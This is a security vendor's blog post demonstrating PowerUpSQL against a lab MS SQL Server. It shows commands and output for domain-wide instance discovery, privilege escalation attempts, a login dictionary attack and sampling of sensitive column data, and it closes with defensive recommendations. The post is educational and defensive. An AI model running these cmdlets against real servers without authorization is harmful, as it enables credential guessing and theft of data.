Compromise with PowerUpSQL – SQL Attacks

Compromise with PowerUpSQL – SQL Attacks

Completely Owning MS SQL Server

If what you’re after is a toolkit to own Microsoft SQL Server from end to end, then what you need is PowerUpSQL. Implemented in PowerShell and as complete as they come, PowerUpSQL has tools to discover, compromise, elevate, target, and own just about any SQL system. It’s the whole kill chain in one tool. Just as I could have run all the initial discovery and compromise through metasploit but chose to break it up, I chose to use PowerUpSQL for this middle piece and not the whole series so you may see several ways to approach the challenges. As one reader pointed out, I could have even just done nmap for the initial steps but chose to also give you a flavor of medusa to expand the tool bag. If you are a PowerShell maven, then you can skip the rest of these steps and simply focus here on PowerUpSQL.

However, I did find some very mixed results with the system I was using. I was on a very vanilla version of MS SQL 2012. However, there were not many things I could accomplish through the PowerShell route without already having access to system admin rights. Like many others, the SQL admin rights were granted to the local and domain admins. Users with those rights essentially already own the system. They only need to target the right data and take it. If you need tips on how to grab system level admin rights, you can see our previous blogs on attacks against Active Directory – like attacking core AD infrastructure, leveraging AD service accounts to attack, attacking AD with misconfigured permissions, and our series on Mimikatz attacks. I’ll be sure to highlight where my results varied with and without system admin rights.

Quick Look At Discovery & Compromise

PowerUpSQL really does have everything. That includes the means to find and perform a compromise on a SQL Server. Finding all the SQL on a domain is as easy as one cmdlet, Get-SQLInstanceDomain:

PS C:\Users\srogers\Downloads\PowerUpSQL-master(1)\PowerUpSQL-master> Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 2 instances were found.
ComputerName     : APP02.sbcloudlab.com
Instance         : APP02.sbcloudlab.com,1433
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount    : APP02$
DomainAccountCn  : APP02
Service          : MSSQLSvc
Spn              : MSSQLSvc/APP02.sbcloudlab.com:1433
LastLogon        : 1/9/2018 7:10 AM
Description      :
ComputerName     : APP02.sbcloudlab.com
Instance         : APP02.sbcloudlab.com
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount    : APP02$
DomainAccountCn  : APP02
Service          : MSSQLSvc
Spn              : MSSQLSvc/APP02.sbcloudlab.com
LastLogon        : 1/9/2018 7:10 AM
Description      :

There is also Get-SQLInstanceLocal, which will perform the same sort of discovery but only on the local instance. The domain version is noisier, but if you only have one place from which to attack on the network will do what you need. If you own a lot more of the network and you want to give off less signal, running the Local version on each system will do the trick. In this case, I was able to get similar results when I was a normal user (srogers) or a domain admin.

One of the disappointments when playing with PowerUpSQL was the very powerful Invoke-SQLEscalatePriv never worked for me. I tried different users, hosts, local and remote execution, different kinds of rights, but it would never escalate my user. From my reading, the reason seems to be the newer defaults in MS SQL 2012 Enterprise Edition. Here’s what I saw when running as my non-Admin user:

PS C:\Users\srogers\Downloads\PowerUpSQL-master(1)\PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s
bcloudlab.com"
PS C:\Users\srogers\Downloads\PowerUpSQL-master(1)\PowerUpSQL-master>

When I run as my admin I get the correct but unexciting:

PS C:\Users\jonathan\Downloads> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...
VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. :)
PS C:\Users\jonathan\Downloads>

Reading online, it seems this does work for many others. That highlights a very important vulnerability in many MS SQL Server environments. Due to requirements from applications, many people are disabling built in security or weakening best practices meant to protect SQL Server. There is only one way this will ever stop. We as the users (and the STEALTHbits products use MS SQL so it is really *we*) need to pressure application vendors to ensure that they do not require password standards be lowered, admin rights be required for operations that don’t strictly require them, checks in the systems that require a little more diligence in SQL or procedures aren’t turned off due to laziness, and more security isn’t thrown out simply to make their lives easier.

Going Deep Into SQL Server Vulnerabilities

Once you have a number of MS SQL systems you with to target – or if you have many and you’re trying to sort out which ones are the best targets – you may want to find out more about each. That’s where Get-SQLServerInfo comes in. This will give you a snapshot of useful information about your potential target:

PS C:\Users\jonathan\Downloads\PowerUpSQL-master(1)\PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo
ComputerName           : APP02
Instance               : APP02
DomainName             : SBCLOUDLAB
ServiceProcessID       : 4980
ServiceName            : MSSQLSERVER
ServiceAccount         : NT Service\MSSQLSERVER
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 11.0.2100.60
SQLServerMajorVersion  : 2012
SQLServerEdition       : Standard Edition (64-bit)
SQLServerServicePack   : RTM
OSArchitecture         : X64
OsMachineType          : ServerNT
OSVersionName          : Windows Server 2012 R2 Standard
OsVersionNumber        : 6.2
Currentlogin           : SBCLOUDLAB\jonathan
IsSysadmin             : Yes
ActiveSessions         : 1

Two interesting things to note about this. This was another example where I seemed to need my admin rights to get any good results (hence the jonathan user). The other interesting part of this example is it shows off one of the best features of PowerUpSQL. It’s been built to support piping. You see we take Get-SQLInstanceLocal and pipe its results into Get-SQLServerInfo. If there had been any number of SQL instances on this box, I would have gotten results for all of them with one command. Because PowerUpSQL supports this, you can easily build up large cracking scripts that run through complicated operations reasonably quickly and easily.

Using what we learn from Get-SQLServerInfo, we may simply go to the standard libraries of threats and vulns and grab something with which to exploit this system. But why do that? PowerUpSQL again has a powerful trick up its sleeve. The Invoke-SQLAudit cmdlet will literally do all the cracking for you. It checks pretty much every standard way to break into a database, find sensitive information, and exfiltrate it to a form you can carry away. When you first invoke it, you start seeing a outpouring of results like this:

PS C:\Users\jonathan\Downloads>  Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: LOADING VULNERABILITY CHECKS.
VERBOSE: RUNNING VULNERABILITY CHECKS.
VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : No named instance found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com - Getting supplied login...
VERBOSE: APP02.sbcloudlab.com - Getting list of logins...
VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =
##MS_PolicyEventProcessingLogin##
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =
##MS_PolicyTsqlExecutionLogin##
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...
<snip>

That’s just Invoke-SQLAudit getting started. After it runs through all the permissions level checks, it begins to check for specific, known vulnerabilities one by one. Then it gives reports on what it finds for each:

ComputerName  : APP02.sbcloudlab.com
Instance      : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description   : Ownership chaining was found enabled at the server or database level.  Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation   : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'.  A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining.  A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity      : Low
IsVulnerable  : Yes
IsExploitable : No
Exploited     : No
ExploitCmd    : There is not exploit available at this time.
Details       : The database master was found configured with ownership chaining enabled.
Reference     : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author        : Scott Sutherland (@_nullbind), NetSPI 2016
ComputerName  : APP02.sbcloudlab.com
Instance      : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description   : Ownership chaining was found enabled at the server or database level.  Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation   : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'.  A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining.  A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity      : Low
IsVulnerable  : Yes
IsExploitable : No
Exploited     : No
ExploitCmd    : There is not exploit available at this time.
Details       : The database tempdb was found configured with ownership chaining enabled.
Reference     : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author        : Scott Sutherland (@_nullbind), NetSPI 2016

Reading through the results of this cmdlet, regardless of how vulnerable your target may have been, is like a master class in SQL Server exploits. And as you can easily see from reading the format, the authors have left the toolkit open for extension as new vulnerabilities and exploits are found. So we should expect to see this list only grow over time. And that’s not all. Once its done with vulnerabilities, it tries to find data you may want to steal:

ComputerName  : APP02.sbcloudlab.com
Instance      : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description   : Columns were found in non default databases that may contain sensitive information.
Remediation   : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity      : Informational
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : Yes
ExploitCmd    : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details       : Data sample from [REDACTED] : "[REDACTED]".
Reference     : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author        : Scott Sutherland (@_nullbind), NetSPI 2016
ComputerName  : APP02.sbcloudlab.com
Instance      : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description   : Columns were found in non default databases that may contain sensitive information.
Remediation   : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity      : Informational
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : Yes
ExploitCmd    : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details       : Data sample from [REDACTED] : "[REDACTED]".
Reference     : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author        : Scott Sutherland (@_nullbind), NetSPI 2016

These slightly redacted for obvious reasons results were just two of dozens and dozens found in my target. The authors are even eating their own dogfood as they do this. These results were found using the “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit” cmdlet – as it states in the results.

You can easily imagine using this audit as a means to get a sense of what you want to hit. Then zeroing in after that. When I envision using this seriously, I would build a script, liberally taking advantage of the piping, to find where I have maximum rights, then move in on sensitive data on each of those locations. I’m always thinking in terms of exfiltration, but maybe your goals are system ownership? PowerUpSQL offers you paths to that as well, but we will really look at how to do that in the next post.

What Do You Do To Prevent This?

There is so much in PowerUpSQL, I could keep going on and on for a lot longer. However, the authors have already done a good job covering their tools so I won’t. Instead let’s ask what we can do to stop some of this from affecting you. The bad news for my fun was good news for all of our data: many of the things in PowerUpSQL seemed to need admin rights already in hand with MS SQL 2012 Enterprise Edition’s default security posture. While that’s good, system admin is so easy to crack in most shops these days it seems like a small barrier to overall success. There are some positive steps you can take to help protect yourselves:

  1. Look for opportunities to enforce a least privilege model for MS SQL server. Do the local and domain admins really need to be database and sys admins in SQL as well? If so, make sure there a stated policy reason as to why and when that policy is not applicable prevent this. Keeping these administrative functions technologically distinct will prevent compromise of one leading to compromise of the other.
  2. Make sure SQL system settings changes demanded by applications are fully investigated for security impact. Many times applications are asking for changes to security settings only to spare themselves a few steps. Those steps may make the difference between safety and compromise. Applying the PowerUpSQL audit before and after such changes in test systems and comparing the results is one way to illustrate this.
  3. If you must have sensitive information in MS SQL objects “ensure that all passwords and sensitive data are masked, hashed, or encrypted” – as the audit results state verbatim. If the bad guys are after data, this is your best way to stop them from getting it in the end. Systems will always be crackable, but decent encryption is a brick wall for all but the most sophisticated foe. If that sort of enemy is after your data, then you have higher order concerns.
  4. Avoid risky configurations like database ownership chaining when at all possible. Like the settings being changed, database level features like this are often only used to save developers some time. Make sure there is at least a consideration of risks when these things are being considered. Often the most challenging part of that is finding where and when those conversations are happening and influencing them.
  5. Finally, the most tired but true advice in security: ensure your systems are fully patched at all times when at all possible. Many of the vulnerabilities tested for here are simply a matter of patching things. Patches don’t solve all your security problems, but they do prevent that really big pit in your stomach when things go badly and you know it may have been or was absolutely due to some missing patch.

Post #1: Attacking Microsoft SQL Server Databases

Post #2: Finding Microsoft SQL Server Targets – SQL Attacks

To receive a notification of the next blog in the Microsoft SQL Server Attack Series, please subscribe here: http://go.stealthbits.com/l/71852/2018-01-04/7npywy  

Jonathan Sander is STEALTHbits’ Chief Technology Officer (CTO). As CTO, he is responsible for driving technical innovation, ensuring that STEALTHbits is well positioned in their current and emerging markets, and he will also lead corporate development efforts. Jonathan also plays the role of evangelist at STEALTHbits venues large and small. Prior to STEALTHbits, Jonathan was VP of Product Strategy for Lieberman Software.

As part of Quest Software from 1999 through 2013, he worked with the security and ITSM portfolios. He helped launch Quest’s IAM solutions, directing all business development and product strategy efforts. Previous to that, Mr. Sander was a consultant at Platinum Technology focusing on the security, access control and SSO solutions. He graduated from Fordham University with a degree in Philosophy.

Leave a Reply

Your email address will not be published. Required fields are marked *

*